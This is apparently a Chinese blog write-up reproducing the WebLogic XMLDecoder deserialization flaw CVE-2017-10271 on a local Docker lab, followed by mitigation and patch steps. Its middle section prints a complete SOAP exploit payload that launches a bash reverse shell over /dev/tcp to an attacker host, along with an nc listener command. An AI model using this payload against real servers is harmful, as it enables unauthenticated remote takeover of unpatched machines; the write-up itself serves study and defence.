当前位置: 首页 > news >正文

记一次经典的反序列化漏洞(CVE-2017-10271)

关于WebLogic

​ WebLogic 是由 Oracle 公司开发的一款企业级 Java EE(现 Jakarta EE)应用服务器,广泛用于构建、部署和管理大型分布式企业应用。它提供高可用性、可扩展性和安全性,支持诸如 EJB、JMS、JTA、JDBC、Servlet、JSP 等 Java EE 标准技术,并集成了集群、负载均衡、故障转移等高级功能,适用于金融、电信、政府等对系统稳定性要求较高的行业。WebLogic 也因其复杂的功能和广泛的使用,历史上多次曝出严重安全漏洞,尤其是反序列化类漏洞,使其成为安全研究人员和攻击者重点关注的对象。正因如此,WebLogic 常被用作学习 Java 反序列化、RMI 攻击、T3 协议利用等安全技术的典型靶标。

关于反序列化漏洞

​ 反序列化漏洞是指程序在将序列化的数据(如字节流、JSON、XML、YAML 等格式)还原为对象的过程中,未对输入内容进行充分校验或限制,导致攻击者可构造恶意数据,在反序列化时触发任意代码执行、文件读写、命令执行等危险操作。这类漏洞常见于使用了不安全反序列化机制的编程语言和框架中,尤其在 Java 生态中尤为突出——由于 Java 原生支持对象序列化,且许多库如 Apache Commons Collections、Fastjson、Jackson、XStream 等在反序列化时会自动调用某些类的方法,攻击者可利用这些链实现远程代码执行。

关于CVE-2017-10271

​ CVE-2017-10271 是 Oracle WebLogic Server 中一个严重的远程代码执行漏洞,源于其 WLS,即WebLogic Server组件在处理 SOAP 消息时不当使用了 Java 的 XMLDecoder 类对用户输入进行反序列化。攻击者可通过向 /wls-wsat/ 路径下的多个接口(如 CoordinatorPortType 接口)发送精心构造的恶意 XML 请求,触发 XMLDecoder 对任意 Java 对象的实例化,从而实现远程命令执行。该漏洞影响 WebLogic 10.3.6.0、12.1.3.0、12.2.1.1 等多个版本,且利用门槛低、甚至无需身份认证,公开的 PoC 广泛流传,导致大量未打补丁的服务器被攻陷。此漏洞不仅凸显了 XML 反序列化的安全风险,也成为研究 Java 反序列化攻击和企业中间件安全的经典案例,当时发现此漏洞的多数利用方式为传播挖矿程序。而Oracle 在 2017 年 10 月的安全更新中修复了该问题。

关于SOAP请求

SOAP(Simple Object Access Protocol,简单对象访问协议)请求,是发往特定 URL 的 POST 请求,本质上是基于 XML 格式、遵循固定规范的 HTTP 请求,专门用于不同系统之间(比如 Java 后端和 Python 客户端、跨语言 / 跨平台服务)的远程数据交互。

PS:本次复现紧接上一次的学习,使用反弹shell的形式触发该漏洞。

漏洞复现

使用docker安装完毕环境后,访问对应的端口,默认为7001:

等待一段时间,可看到一个404页面,说明weblogic已成功启动。 之后访问以下路径:

http://虚拟机ip:7001/console

之后会跳转到一个登陆页面,等待初始化整个环境后跳转至新页面。

在这里我们可以使用大佬开发专门用于的Weblogic漏洞检测工具进行漏洞探测

可以发现对应的漏洞存在。

接下来访问以下路径,并进行抓包,发现发现是一个GET请求的,这里需要在BP中将GET请求更改为POST请求change request method,同时需要插入构造的soap请求:

http://虚拟机ip:7001/wls-wsat/CoordinatorProtType

​ SOAP POC如下:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/虚拟机IP/8888 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>

​ 由于WebLogic 对work:Work Context节点的解析逻辑存在缺陷,会将节点内的java内容交给XMLDecoder处理 —— 这是整个攻击的 “突破口”,正常情况下XMLDecoder仅用于解析合法的 JavaBean 配置,此处被恶意滥用。

​ 而ProcessBuilder是 Java 中用于创建操作系统进程的类,这里通过 XML 格式构造其参数:其中关键的命令数组

["/bin/bash", "-c", "bash -i >& /dev/tcp/10.4.7.129/8888 0>&1"]

的含义即调用 Linux 的 bash 终端后,告诉 bash 执行后续字符串中的命令(即核心的反弹shell):

  • bash -i:启动交互式 bash;
  • >& /dev/tcp/攻击者IP/8888:将 bash 的标准输出 / 错误输出重定向到攻击者 IP的 8888 端口;
  • 0>&1:将标准输入也重定向到相同端口,实现双向通信(攻击者可输入命令,服务器返回结果)。

​ 之后调用ProcessBuilder.start()方法,启动新进程执行上述 bash 命令。执行后,WebLogic 服务器会主动连接攻击者的8888 端口,建立反向 Shell 会话 ,攻击者只需在自己的机器上监听 8888 端口,就能获取服务器的交互式 Shell,完全控制目标机器。

​ 在发出之前记得在另一终端上启动监听,端口同样可以自选,但要注意上下统一。

nc -lvnp 8888

​ 发出后将数据包放行,实现权限获取。

后续修复方案跟进

​ 临时方法:删除wls-wsat组件,然后重启weblogic,直接的验证方法是访问:

http://主机IP:7001/wls-wsat/CoordinatorPortType11

​ 如是404则说明已成功删除。

rm -f /home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war
rm -f /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
rm -rf /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat
cd /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/bin
./stopWebLogic.sh
./startWebLogic.sh &

修补方法:使用后续发布的补丁,但需要购买了软件服务。

cd /home/WebLogic/Oracle/Middleware/utils/bsu  #进入bsu目录
mkdir -p cache_dir/backup                      #创建backup目录用于备份
mv cache_dir/* cache_dir/backup                #确保cache_dir下原来没有补丁
unzip p26519424_1036_Generic.zip -d /home/WebLogic/Oracle/Middleware/utils/bsu/cache_dir #将补丁解压到cache_dir
mv cache_dir/patch-catalog_25504.xml cache_dir/patch-catalog.xml       #重命名patch-catalog
./bsu.sh -install -patchlist=FMJJ -patch_download_dir=./cache_dir/ -prod_dir=../../wlserver_10.3/   #打FMJJ补丁

参考:博客园@诸子流

总结

​ 在本次实验中,深入理解 XML 反序列化漏洞的成因与利用机制。该漏洞源于 WebLogic 在处理 SOAP 请求时使用了不安全的 Java XMLDecoder 类,直接反序列化用户可控的 XML 输入,导致任意对象实例化和远程代码执行。复现过程有助于掌握如何构造恶意 XML payload、识别可利用的接口路径(如 /wls-wsat/CoordinatorPortType),以及利用常见 Java 类(如 ProcessBuilder)实现命令执行。同时,还能学习企业级中间件的典型攻击面、T3/SOAP 协议交互方式,以及漏洞验证与 PoC 编写的基本方法,不仅强化了对反序列化风险的认知,也为后续研究其他 Java 反序列化漏洞(如 Fastjson、Shiro 等)打下基础,是入门 Java 安全与中间件攻防的重要案例。

今日日鞠

http://www.jsqmd.com/news/275525/

相关文章:

  • Multisim14使用教程:快速理解直流电路搭建步骤
  • Authentication is required but no CredentialsProvider has been registered 报错已解决
  • 大模型测试的“冷启动评估”:新模型上线前怎么测?
  • 解决vscode中文输入法输入没有候选框问题
  • 2026中国智慧养老行业:老龄化浪潮下的刚性需求爆发
  • Error creating bean with name ‘xxxxxxxController‘: Injection of resource dependencies failed报错已解决
  • 如何测试AI生成的邮件是否符合商务礼仪:软件测试从业者指南
  • 通过agentscope在EKS部署远程沙盒和代理应用
  • IDEA_pom.xml_spring-boot-maven-plugin爆红问题解决
  • 全国现代物业管理人才培养赋能新质生产力发展研讨会 (MPMTT 2026)
  • 跨境电商防关联:从“单点隔离”到“系统化风控”一套打穿
  • 玩转Synbo|为什么说质押是进入Club的关键动作
  • Galaxy比数平台功能介绍及实现原理|得物技术
  • 上位机软件开发中串口超时机制的设计实践
  • Eclipse 打开报 `An error has occurred. See the log null` 错误及解决方法
  • 第七篇:告别手动拼 URL!我们封装自己的“地图超市”
  • 基于微信小程序的小区租车拼车系统【源码+文档+调试】
  • VitePress 进阶指南:自动化侧边栏配置与 TOC 渲染深度排查
  • 35岁转行学了网络安全,能谋生吗?
  • 数字频率计设计超详细版:基本结构与工作流程讲解
  • ERROR. pos 145, line 2, column 21, token COMMA 报错已解决
  • vivado安装资源推荐:新手自学的最佳路径
  • 前端指纹技术是如何实现的?(Canvas、Audio、硬件API 核心原理解密)
  • LLM动态调参医疗设备故障预警提前30%
  • uni-app使用北斗卫星实现离线定位
  • Java中构建前端可视化维度指标列表:从代码实现到最佳实践
  • React 官方纪录片观后:核心原理解析与来龙去脉
  • AI法律文书准确性测试方法论
  • 跨境电商“防关联”实战指南:把风险挡在账号之外
  • 别管,咱们前端人有自己的拼夕夕~